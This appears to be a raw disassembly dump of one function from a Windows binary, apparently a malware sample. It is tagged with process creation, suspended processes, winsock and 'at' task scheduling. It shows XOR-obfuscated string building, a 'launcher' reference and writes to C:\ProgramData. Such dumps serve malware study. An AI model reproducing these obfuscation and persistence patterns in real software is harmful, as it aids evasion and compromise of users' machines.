Function at 0x140021c60
Capabilities:
Create process on windows
Create process suspended
Initialize winsock library
Schedule task via at

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x4f40
call fcn.140052ae0
sub rsp, rax
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a5100]
xor rax, rsp
mov qword [rbp + 0x4ec0], rax
xor r12d, r12d
movabs rax, 0xf245f579a3d3419f
mov qword [rbp + 0x3f80], rax
mov rax, qword [rbp + 0x3f80]
mov qword [rbp + 0xe0], rax
movabs r13, 0x82abacf85c67629e
mov qword [rbp + 0x3f80], r13
mov rax, qword [rbp + 0x3f80]
mov qword [rbp + 0xe8], rax
movabs r15, 0xf245f579a3d34195
mov qword [rbp + 0x3f80], r15
mov rax, qword [rbp + 0x3f80]
mov qword [rbp + 0x48d0], rax
mov qword [rbp + 0x3f80], r13
mov rax, qword [rbp + 0x3f80]
mov qword [rbp + 0x48d8], rax
movdqa xmm0, xmmword [rbp + 0x48d0]
xorps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1d58]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x80209d1acda620d9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x800], rcx
movabs rax, 0xe18bd58a280907be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x808], rcx
movabs rax, 0xeb31489b3939be66
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x810], rcx
movabs rcx, 0x549e550e7b221bf0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x800], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x48e8], rax
vmovdqa xmm0, xmmword [rbp + 0x48e0]
vxorps xmm0, xmm0, xmmword [rbp + 0xf0]
vmovdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1d38]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x130], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x138], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4ac0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ac8], rax
movdqa xmm0, xmmword [rbp + 0x4ac0]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4ad0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ad8], rax
movdqa xmm0, xmmword [rbp + 0x4ad0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x1d18]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 9], r12b
mov edx, 0x1b
lea rcx, [rbp + 0x1128]
call fcn.14000d400
lea r8, [rbp + 0x1128]
lea rdx, [rbp + 0x1cf8]
lea rcx, [rbp + 9]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x120], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x128], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4ae0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ae8], rax
movdqa xmm0, xmmword [rbp + 0x4ae0]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1cd8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x110], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x118], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4af0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4af8], rax
movdqa xmm0, xmmword [rbp + 0x4af0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1cb8]
call fcn.140018f00
nop
lea r8, [rbp + 0x120]
mov rdx, rax
lea rcx, [rbp + 0x1c98]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x10e8]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0x10e8]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1108]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x1108]
lea rcx, [rbp + 0x1c78]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xe28]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x800]
lea rdx, [rbp + 0xe28]
lea rcx, [rbp + 0x1c58]
call fcn.140019030
nop
mov r9, r14
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1068]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2df8]
call fcn.140017c10
nop
lea rdx, [rbp + 0x1068]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140017b90
lea rcx, [rbp + 0x2ea0]
call fcn.140017e40
nop
lea rcx, [rbp + 0x1068]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c58]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xe28]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1108]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x10e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1cb8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1cd8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1cf8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d58]
call fcn.140017eb0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4b00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b08], rax
movdqa xmm0, xmmword [rbp + 0x4b00]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1eb8]
call fcn.140017fd0
mov r15, rax
movabs rax, 0xf245f579a3d341b7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1b0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1b8], rcx
movabs rbx, 0xf245f579a3d34195
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4b10], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b18], rax
movdqa xmm0, xmmword [rbp + 0x4b10]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x1b0], xmm0
movabs rax, 0x9065900cd2ba2fc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x82898cc2380b0beb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4b20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b28], rax
movdqa xmm0, xmmword [rbp + 0x4b20]
xorps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x150], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1e98]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x160], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x168], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4b90], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4b98], rax
movdqa xmm0, xmmword [rbp + 0x4b90]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x160], xmm0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1e78]
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1a8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4bb0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4bb8], rax
movdqa xmm0, xmmword [rbp + 0x4bb0]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4bd0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4bd8], rax
movdqa xmm0, xmmword [rbp + 0x4bd0]
xorps xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1e58]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xa], r12b
mov edx, 0x1c
lea rcx, [rbp + 0x10c8]
call fcn.14000d400
lea r8, [rbp + 0x10c8]
lea rdx, [rbp + 0x1e38]
lea rcx, [rbp + 0xa]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x190], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x198], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4be0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4be8], rax
movdqa xmm0, xmmword [rbp + 0x4be0]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1e18]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x180], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x188], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4bf0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4bf8], rax
movdqa xmm0, xmmword [rbp + 0x4bf0]
xorps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1df8]
call fcn.140018f00
nop
lea r8, [rbp + 0x190]
mov rdx, rax
lea rcx, [rbp + 0x1dd8]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1008]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0x1008]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1028]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x1028]
lea rcx, [rbp + 0x1db8]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1048]
call fcn.14001a0f0
nop
mov r9, r14
lea r8, [rbp + 0x1048]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x1088]
call fcn.14001a0f0
nop
lea r8, str.27wwW4kpRRYJZoLtvHLwhgWPUBM5iIN1Oosnw89rnSaavrjkD1idbfBqQvaBRUjxhbCo1XkieZyJdc9
lea rdx, [rbp + 0x1088]
lea rcx, [rbp + 0x1d98]
call fcn.140019030
nop
lea r8, [rbp + 0x1b0]
mov rdx, rax
lea rcx, [rbp + 0x1d78]
call fcn.140019030
nop
mov r9, r15
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x10a8]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3008]
call fcn.140017c10
nop
lea rdx, [rbp + 0x10a8]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x30b0]
call fcn.140017b90
lea rcx, [rbp + 0x30b0]
call fcn.140017e40
nop
lea rcx, [rbp + 0x10a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1d98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1088]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1048]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1db8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1028]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1008]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1dd8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1df8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e58]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1e98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1eb8]
call fcn.140017eb0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rbx, 0xf245f579a3d34195
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c08], rax
movdqa xmm0, xmmword [rbp + 0x4c00]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x2018]
call fcn.140017fd0
mov r15, rax
movabs rax, 0xf245f579a3d341b7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x90], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x98], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4860], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4868], rax
movdqa xmm0, xmmword [rbp + 0x4860]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
movabs rax, 0x9321d51dcfba34d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x82abacda7c5d07ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c10], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c18], rax
movdqa xmm0, xmmword [rbp + 0x4c10]
xorps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1d0], xmm0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1ff8]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1e0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x1e8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4c20], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c28], rax
movdqa xmm0, xmmword [rbp + 0x4c20]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1fd8]
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x220], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x228], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4c30], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c38], rax
movdqa xmm0, xmmword [rbp + 0x4c30]
xorps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0x220], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c48], rax
movdqa xmm0, xmmword [rbp + 0x4c40]
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1fb8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xb], r12b
mov edx, 0x1d
lea rcx, [rbp + 0xfe8]
call fcn.14000d400
lea r8, [rbp + 0xfe8]
lea rdx, [rbp + 0x1f98]
lea rcx, [rbp + 0xb]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x210], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x218], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4c50], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c58], rax
movdqa xmm0, xmmword [rbp + 0x4c50]
xorps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1f78]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x200], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x208], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4c60], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c68], rax
movdqa xmm0, xmmword [rbp + 0x4c60]
xorps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1f58]
call fcn.140018f00
nop
lea r8, [rbp + 0x210]
mov rdx, rax
lea rcx, [rbp + 0x1f38]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xf48]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xf48]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xf68]
call fcn.14001a0f0
nop
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0x1f18]
call fcn.140019030
nop
mov r9, rsi
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xf88]
call fcn.14001a0f0
nop
mov r9, r14
lea r8, [rbp + 0xf88]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xfa8]
call fcn.14001a0f0
nop
lea r8, str.Jun__6_2024
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp + 0x1ef8]
call fcn.140019030
nop
lea r8, [rbp + 0x90]
mov rdx, rax
lea rcx, [rbp + 0x1ed8]
call fcn.140019030
nop
mov r9, r15
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xfc8]
call fcn.14001a0f0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2f00]
call fcn.140017c10
nop
lea rdx, [rbp + 0xfc8]
mov rcx, rax
call fcn.14001a380
nop
lea rcx, [rbp + 0x2fa8]
call fcn.140017b90
lea rcx, [rbp + 0x2fa8]
call fcn.140017e40
nop
lea rcx, [rbp + 0xfc8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ed8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ef8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xfa8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf88]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f18]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf68]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xf48]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f38]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f58]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f78]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f98]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1fb8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1fd8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ff8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2018]
call fcn.140017eb0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rbx, 0xf245f579a3d34195
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c70], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c78], rax
movdqa xmm0, xmmword [rbp + 0x4c70]
xorps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x2158]
call fcn.140017fd0
mov r15, rax
movabs rax, 0xf245f579a3d341b7
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x2b8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4c80], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c88], rax
movdqa xmm0, xmmword [rbp + 0x4c80]
xorps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
movabs rax, 0x9b31d51dcfba34d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x82abacda7c5d07f3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4c90], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c98], rax
movdqa xmm0, xmmword [rbp + 0x4c90]
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x2138]
call fcn.140017fd0
mov r14, rax
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x260], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x268], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4ca0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ca8], rax
movdqa xmm0, xmmword [rbp + 0x4ca0]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x2118]
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2a0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x2a8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x4cb0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4cb8], rax
movdqa xmm0, xmmword [rbp + 0x4cb0]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2a0], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4cc0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4cc8], rax
movdqa xmm0, xmmword [rbp + 0x4cc0]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x20f8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0xc], r12b
mov edx, 0x1e
lea rcx, [rbp + 0xf28]
call fcn.14000d400
lea r8, [rbp + 0xf28]
lea rdx, [rbp + 0x1c38]
lea rcx, [rbp + 0xc]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x290], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x298], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4cd0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4cd8], rax
movdqa xmm0, xmmword [rbp + 0x4cd0]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x20d8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x280], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x288], rcx
movabs rax, 0xf245f579a3d34195
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4ce0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4ce8], rax
movdqa xmm0, xmmword [rbp + 0x4ce0]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x20b8]
call fcn.140018f00
nop
lea r8, [rbp + 0x290]
mov rdx, rax
lea rcx, [rbp + 0x2098]
call fcn.140019030
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xe88]
call fcn.14001a0f0
nop
mov r9, rdi
lea r8, [rbp + 0xe88]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xea8]
call fcn.14001a0f0
